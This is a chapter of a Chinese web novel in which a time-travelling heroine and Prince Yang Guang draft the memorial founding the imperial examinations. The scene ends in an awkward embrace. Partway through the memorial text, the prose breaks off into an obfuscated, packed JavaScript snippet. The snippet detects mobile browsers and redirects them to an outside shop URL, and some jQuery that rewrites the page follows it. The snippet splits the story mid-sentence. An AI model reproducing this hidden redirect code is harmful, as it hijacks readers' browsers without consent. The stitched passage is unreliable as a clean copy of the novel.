再睁开眼时，我发现自己趴在长案上。
脖子疼得像要断了，脸颊压着一叠写满字的纸，墨迹还没干透，蹭得脸上凉凉的。烛火早就熄了，晨光从高窗斜切进来，在青砖地上投出模糊的光斑。
对面，杨广还坐在那里。
他背脊挺得笔直，手里握着笔，正低头写着什么。晨光照在他侧脸上，勾勒出清晰的下颌线，也照出眼底浓重的青影。
案上堆满了纸。
是昨日争吵时写的草稿，密密麻麻全是批注、修改、争吵的痕迹。
我坐直身子，骨头“嘎嘣”轻响。
杨广抬起头，目光扫过来：“醒了？”
声音哑得厉害。
“嗯。”我揉着脖子，“殿下一夜没睡？”
“合了会眼。”他放下笔，揉了揉手腕，“得先把昨晚吵出来的东西捋顺。”
早膳送来时，我们草草吃了几口，又回到案前。
“殿下，”我拿起昨夜争论最凶的那张草稿，“‘路费核实’这条，最后还是按您说的，乡里三老具结，县令复核，虚报冒领者终身禁考，担保人连坐。”
“嗯。”他蘸墨，在正式草案上写下这一条，“但得再加一句。”
他提笔补充：
「若三老、县令串通舞弊，查实者斩，家产抄没，举族三代不得入仕。」
要堵死所有漏洞，就得用最重的刑。
午后，我们开始处理最繁琐的部分，考场布置。
“每个考场设几间考棚？”我问。
“按考生人数来。”杨广在纸上画着草图，“每间考棚坐二十人，每人一桌一椅，桌距三尺，以防窥视。”
“监考呢？”
“每考场设主考官一名，副考官两名，监察御史一名。”他笔下不停，“另设巡考吏员十人，分区域巡视。”
“防寒防暑怎么解决？”
他笔尖顿了顿：“八月州县试，天气尚可。二月省试长安还冷，考场需备炭盆。殿试在三月，宫中自有安排。”
我们就这样一条条地磨。
从考棚尺寸到桌椅材质，从炭盆数量到饮水供应，从如厕安排到突发疾病应对……
越磨越细，越磨越觉得，这哪里是制定一个制度，这是在造一台精密无比的机器。
每一个齿轮都要严丝合缝，每一个环节都不能出错。
窗外的天色渐渐暗了，远处宫殿传来隐约的钟声。
我们终于把最后一条细则敲定。
草案摊在案上，厚厚一沓，从第一页的“开皇新制选士疏”，到最后一页的“舞弊惩处细则”。
事无巨细，条分缕析。
杨广放下笔，往后靠在椅背上，闭上眼。
我也瘫在椅子里，盯着屋顶的彩绘藻井。
殿内陷入一种奇异的寂静。
不是轻松，不是完成后的喜悦，而是……一种近乎虚脱的平静。
三天三夜。
从第一日看到那些血泪控诉时的震撼，到第二日争吵时的激烈，再到今日磨细节时的疲惫。
终于，成了。
暮色彻底漫进来时，杨广重新坐直。
他铺开一叠全新的宣纸，纸面雪白，在烛光下泛着细腻的光。
“开始整理吧。”他说，声音平静。
我点点头，把散乱的草稿按顺序理好，一份份递给他。
他提笔，蘸墨。
笔尖落在纸上，开始将这三日争吵出来的所有细节，转化为正式奏疏的文字。
不知过了多久。
烛火添了一次又一次，殿内安静得只剩下笔尖划过纸面的沙沙声。
我的眼皮越来越重。
起初还强撑着看他把一条条细则写进去，州县试八月，省试二月，殿试三月；明经考《五经正义》，进士考诗赋策论；糊名、誊录、考官轮换、监考御史……
后来，字在眼前开始飘。
头一点，一点。
终于，我撑不住了。
脸埋在臂弯里，趴在长案上，沉沉睡去。
再睁开眼时，殿内烛火摇曳，已是深夜。
脖子酸得厉害，我抬起头，发现身上不知何时多了件月白色的外袍，是杨广的。
他还坐在那里，背脊依旧笔直，手里握着笔，正低头写着。
案上已经摞起厚厚一叠写好的奏疏，墨迹还没全干，在烛光下幽幽发亮。
我坐直身子，轻轻把那件外袍放到一边。
“醒了？”他没抬头，笔下不停。
“嗯。”我揉揉眼睛，“殿下写多久了？”
“你睡了两个时辰。”他蘸墨，“正好，写到‘舞弊惩处’这一节，你来看看。”
我凑过去看。
他已经写了十几页，字迹工整清晰，条理分明。从考试分级到科目设置，从防弊措施到授官品级……昨夜我们争吵出来的每一个细节，都被他转化为严谨的官方文字。
我看了一会儿，忽然觉得眼眶有些发酸。
这个人……
这个在未来会被史书骂成“暴君”的人……
此刻正坐在深夜里，为一个延续千年的制度，一字一句地书写。
我不想再睡了。
就这么坐在他对面，看着他写。
看他提笔蘸墨，看他笔尖在纸上划过，看他偶尔停顿思考，看他皱眉修改。
烛火在他脸上跳动，照出眼底的专注，也照出眉宇间那抹化不开的疲惫。
可他笔下不停。
一页写完，轻轻放到一旁，再铺开新的一页。
沙沙，沙沙。
笔尖划过纸面的声音，在深夜里格外清晰。
殿外传来打更声，丑时了。
又过了不知多久，远处传来鸡鸣。
第一声，模糊。
第二声，近了。
第三声，嘹亮。
天要亮了。
最后一笔落下。
杨广搁下笔。
笔杆轻叩砚台，发出清脆一响。
他长长地吐出一口气，身子往后靠了靠，闭上眼。
晨光从东边漫进来，灰白的天光透过高窗，与殿内残存的烛光交织在一起。
我看着他。
看着他疲惫的脸，看着他眼底的青影，看着他搁在案上、微微发抖的手指。
然后我看向那叠奏疏。
厚厚一沓，墨迹未干。
从“开皇新制选士疏”这个杀气腾腾的标题开始，一页页翻过去：定科目、明范围、严考纪、立授官……字字如刀，条条见血。
全是冷冰冰的规则，硬邦邦的刀子。像一份战书，也像一道檄文。
可这不够。
“殿下，”我听见自己的声音，在寂静的殿里显得格外轻，“这奏疏……是不是还缺点什么？”
他抬起眼，眼底血丝缠绕着烛光：“嗯？”
我指着那叠纸，“得让陛下看到，这不只是一套法子。这是一个……新世道。”
我顿了顿，努力组织语言。
“得有点……能让人看了心头一热的东西，比如……您想彻底打破‘上品无寒门’的规矩，想为天下寒士开条路，这些话，得写进去。”
我挠挠头：“臣女嘴笨，说不漂亮。殿下您有文化，您写。”
杨广看着我，看了很久。
然后他重新铺开一张宣纸。
纸面雪白，在晨光里白得刺眼。
他提起笔，蘸墨。
笔尖悬在纸上，久久未落。
殿内静得能听见自己的心跳。
远处传来第四声鸡鸣，天光越来越亮。
终于，他落笔了。
「儿臣以为，治国之要，在得人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254370|196057||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才；得才之道，在开其路……」
我凑过去看，他这字是真好。筋是筋，骨是骨。
写到「使匹夫有志，皆可怀牒自进」时，我鼻子忽然有点酸。
可我没动，就死死盯着笔尖。
然后他顿了顿。
笔悬在那，墨将滴未滴。
接着写下去。
「然开科取士，其意更深一层。儿臣以为，此举不止于选官，更在破千百年门第之锢，立万世公平之基……」
我呼吸停了。
「使才学为重，出身为轻；使天下士子，不同姓字，唯问文章；不同门第，唯看策论……」
我手指掐进掌心，疼，但比不上胸口那阵闷雷似的撞。
「愿以此制，为我大隋立一道不灭之光。」
他抬眼，看我。
晨光正落在他瞳仁里，淬出一种近乎锋利的东西。
「一道无论王朝更迭、世事变迁，只要华夏文脉不绝，便永世长存的光。」
最后一个字落下。
笔搁下。
咚。
轻得吓人。
殿里死静。
外头的鸟叫、远处的更鼓、我自己的心跳，全听不见了。
我就盯着那几行字，盯着“不灭之光”，脑子像被什么东西狠狠凿开了。
我上辈子背过，“科举制打破士族垄断，扩大统治基础”，干巴巴的，考点。
后来骂它“八股取士禁锢思想”，也是干巴巴的，结论。
可这个人。
这个一千四百多年前的人，在亲手造这玩意儿的时候，想的不是统治基础，不是禁锢思想。
他想的是破门第。
立公平。
造一道光。
一道能活过朝代、活过战乱、活过所有权力更迭的——光。
理智那根弦，“嘣”一声，断了。
等我反应过来时，我已经扑过去了。
结结实实、用尽全力地，抱住了他。
脸埋在他颈侧，手臂环着他背，能摸到锦袍底下紧绷的肩胛骨。
我在发抖，也可能是他在抖，分不清了。
我就想抱住点什么，抱住这个写出“不灭之光”的人，抱住这一刻劈开我所有认知的东西。
“你写得太好了……”我声音闷在他衣襟里，带着我自己都没察觉的哽咽，“真的……太好了。”
他整个人僵住了。
像块石头。
胳膊垂着，没抬，也没推。
过了不知道多久，也许只是一瞬，也许有一百年，我才猛地醒过来。
我在干什么？！
我像被烫到一样弹开，踉跄着后退，后背撞在紫檀木的书架上，震得顶上灰尘簌簌往下落。
“殿、殿下……”我舌头打结，声音都劈了，“我……臣女失心疯了！您治罪！现在就治！”
杨广还站在原地。
他没动，就那么看着我。眼神空了一瞬，然后慢慢聚拢，聚成深不见底的黑。
过了很久，他才吸了口气。
很轻的一口气，但我听见了。
“萧姑娘。”
声音哑得厉害。
“这三日，”他慢慢说，每个字都沉甸甸的，“你我同心戮力，共创此策。”
他顿了顿，目光钉在我脸上：
“激动失态——”
“人之常情。”
殿外传来脚步声，孙宦官的声音在门外响起。
“殿下，辰时三刻了。陛下传话，问奏疏可已成稿？”
杨广最后看了我一眼。
那眼神太复杂，激赏，审视，深潭，还有一丝没藏干净的波动。
“更衣。”他扬声，声音恢复了平日的沉稳。
转身，下摆划开一道弧。
他没再看我，大步出去了。